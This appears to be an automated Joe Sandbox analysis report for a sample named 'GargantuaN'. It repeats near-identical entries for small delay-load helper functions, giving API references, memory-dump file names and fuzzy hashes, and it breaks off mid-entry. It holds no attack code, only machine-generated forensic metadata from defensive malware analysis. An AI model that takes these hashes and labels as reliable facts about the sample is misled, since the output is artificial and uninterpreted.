Function 00D6E1D1 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E1E3

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b1ea826c082170f754326cdc200d57755d3f81c354cd4cafec2ef91ee8acbcfc
Instruction ID: e07bfb588cc83871d28625970db73c2919f56a075e184a1f47030d092e7e18db
Opcode Fuzzy Hash: b1ea826c082170f754326cdc200d57755d3f81c354cd4cafec2ef91ee8acbcfc
Instruction Fuzzy Hash: 2CB012DD268300FE310461491C12C3B030CC0C2B10330843EFC02C0480D850EC082871

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E1F6 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E1E3

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7e31a018d99b338a54d17320b30718c64b27cd628fada68dbba9093666159a78
Instruction ID: cb7ecba7894fffb821985b78c007aeaec5f9038c5a5352507af8f74e674408b8
Opcode Fuzzy Hash: 7e31a018d99b338a54d17320b30718c64b27cd628fada68dbba9093666159a78
Instruction Fuzzy Hash: 9EB012D9268300EE3144A2091C02C37030CC0C2B10330C03EFC0AC1280D850EC0C2A71

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E1EC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E1E3

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 124dbce6d6e27cc8a6e3d79ae8011ec96ff10decdde7f7556a2eb2b36cb1e2f8
Instruction ID: 96ea81d299fbe6adbe3f63eadd601862f27726dd4417f2e633f50780cc5d4e10
Opcode Fuzzy Hash: 124dbce6d6e27cc8a6e3d79ae8011ec96ff10decdde7f7556a2eb2b36cb1e2f8
Instruction Fuzzy Hash: 2FB012DD26C300EE3144A14D1C02C3B030CC0C1B10330403EF806C1180D860AC082A71

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E282 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E1E3

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6cda4e1fa78e0cc86403ee76f9d3d18e61d2a6e015aee8a852781774236f65a4
Instruction ID: aeafc1b64ce7b944e5bf0acfe948e85d44e8f7cb2dcb00244d8faa67b34eaca4
Opcode Fuzzy Hash: 6cda4e1fa78e0cc86403ee76f9d3d18e61d2a6e015aee8a852781774236f65a4
Instruction Fuzzy Hash: 3DB012E92A8200EE3144A1091D02C37038CC0C1B10330403EF806C1180DC50AD092971

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E250 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E1E3

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 89e7cb1f71a57b08ee1fbb7a50d51ec8ecc2ab169ec03f4dc7e37c20b9f556a2
Instruction ID: 33e969d610b9a82a82434e990f601542a505a75156ce767e14540da0717cabdb
Opcode Fuzzy Hash: 89e7cb1f71a57b08ee1fbb7a50d51ec8ecc2ab169ec03f4dc7e37c20b9f556a2
Instruction Fuzzy Hash: 63B012E9269340FE3288A2091C02C37030DC0C1B10330413EF806C1180D850BC4C2971

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E246 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E1E3

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 92633e83e7dfbfeb5e595a629b4a2f63fdd485efb43a2fafdd1273c393fe2557
Instruction ID: 2010766c8fab4c66ce08f9cc4a3ce721bfc9f47bf79cf88c58e73baae5b53cdb
Opcode Fuzzy Hash: 92633e83e7dfbfeb5e595a629b4a2f63fdd485efb43a2fafdd1273c393fe2557
Instruction Fuzzy Hash: 18B012D9269240FE3248A1091C02C37030DC0C2B10330803EFC06C1180D850EC082971

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E264 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E1E3

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fefb0a5c58ee829fca2397738552854db479c17d6bf63e5599864166ee031c47
Instruction ID: 8464d62c8b02ff436f6b0b1e71b8a505a524d3a83a40dcf86d0e5b4735c97916
Opcode Fuzzy Hash: fefb0a5c58ee829fca2397738552854db479c17d6bf63e5599864166ee031c47
Instruction Fuzzy Hash: 6EB012D9279240FE3248A1091C02C37134DC4C1B10330403EF807C1180D860AC082971

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E26E Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E1E3

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f1e8a12643cd6ad222f5756ef017f2bdb02744971e6ef29f4d4b5f57b4670607
Instruction ID: f3cd6444f939356b108111612138c080e03c4b0733c72827f33a6a0b72d49f55
Opcode Fuzzy Hash: f1e8a12643cd6ad222f5756ef017f2bdb02744971e6ef29f4d4b5f57b4670607
Instruction Fuzzy Hash: F0B012D9268200EE3144A1191C02C37034CC0C2B10330803EFC06C1180D850EC082971

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E21E Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E1E3

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7890de42a6884b508e93f00f5d46f1d7fa8a003e64adf44625217359c5f91853
Instruction ID: 8c1c219ace0034cef79de0877603dd4619358135cca3701e49f47ca2257f8535
Opcode Fuzzy Hash: 7890de42a6884b508e93f00f5d46f1d7fa8a003e64adf44625217359c5f91853
Instruction Fuzzy Hash: 68B012E9268200FE3144A1091C02C37030CC4C2F10330803EFC06C1184D850ED082D71

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E200 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E1E3

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a2ba8156448bb3c500e98fb8a99ae50e0f4f63d0b5c6658ddb76206467ca88fd
Instruction ID: dde3149bae70c80a783df90ab55c6286f884ba7b0fd4969d6a82d676770d6bfb
Opcode Fuzzy Hash: a2ba8156448bb3c500e98fb8a99ae50e0f4f63d0b5c6658ddb76206467ca88fd
Instruction Fuzzy Hash: E6B012D9368340FE3184A2091C02C37030CC0C1B10330813EF80AC1280D850BC4C2971

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E20A Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E1E3

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 92290e448dcd68a979cd8eb0c82c7d7801fc91154a9945d5224b4f25e9564a94
Instruction ID: dad96d6769fa54bf5db4ad29eb72c9844ad4b426e904d8bbc9385ee93bddd41a
Opcode Fuzzy Hash: 92290e448dcd68a979cd8eb0c82c7d7801fc91154a9945d5224b4f25e9564a94
Instruction Fuzzy Hash: 3EB012D92A8300EE3144A2091D03C37030CC0C1B10330803EF80AC1280DC60AD0D2971

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E232 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E1E3

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 19f5fb1ca259b5455531d41e5ef46c251e55de84c49dad6fedd3452de71a46b6
Instruction ID: 7d2cae16b5a7815d2830073e287a50c5d993781eaa1074b4ae70d7e0ebb3dcf9
Opcode Fuzzy Hash: 19f5fb1ca259b5455531d41e5ef46c251e55de84c49dad6fedd3452de71a46b6
Instruction Fuzzy Hash: 25B012E92A8200EE3144A1091D12C37030CC0C1F10330403EF806C1184DC50AE092D71

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E23C Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E1E3

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2845a82f3e3036e1ce2dbdf5440bc89c213319fed390c05de299142e58ead56a
Instruction ID: 276be28f74115668456c065b55cf1b2d80976002e0157a397fa915cba2246c5d
Opcode Fuzzy Hash: 2845a82f3e3036e1ce2dbdf5440bc89c213319fed390c05de299142e58ead56a
Instruction Fuzzy Hash: 20B012E9268200EE3144A10A1C02C37030CC0C1F10330403EF806C1184D860AD082D71

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E228 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E1E3

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 98a72cf7584657aa3658e1184e67b8220058c7c9e150ac779f1b5484a57f32b0
Instruction ID: e664cd1017bd2dbaa64e3d6d72a3704dbce5f2faa56e09fae9e403e49651d55f
Opcode Fuzzy Hash: 98a72cf7584657aa3658e1184e67b8220058c7c9e150ac779f1b5484a57f32b0
Instruction Fuzzy Hash: 09B012E9268300FE3184A1091C02C37030CC0C1F10330413EF806C1184D850BD482D71

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E44B Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E3FC

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 31514d7db58ac4990f68b9b0ecc38290d44edefc28b92160fe5c28752b179785
Instruction ID: bdda2c76661e118fdcffda651437dc30766a9a5805b80c336352e4c2125ad628
Opcode Fuzzy Hash: 31514d7db58ac4990f68b9b0ecc38290d44edefc28b92160fe5c28752b179785
Instruction Fuzzy Hash: 61B012E9268100FE3144B1041D03C37030CC4C1B11330D03EF805D2280E8408C091A73

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E419 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E3FC

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 78e3d36b58b764ee6ea3198af7feff5449dbe6fa2aea981b1907fd9957eb65a7
Instruction ID: 02f9fa22dd401ae5fabd9cbb48cea99f01c648a66dceea32d1ff158056bcdedb
Opcode Fuzzy Hash: 78e3d36b58b764ee6ea3198af7feff5449dbe6fa2aea981b1907fd9957eb65a7
Instruction Fuzzy Hash: 93B012E92A8100FE314471041E03C77430CC5C1B11330D03EF505D2280E8404C0E1973

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E423 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D6E3FC

Part of subcall function 00D6E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D6E8D0
Part of subcall function 00D6E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D6E8E1

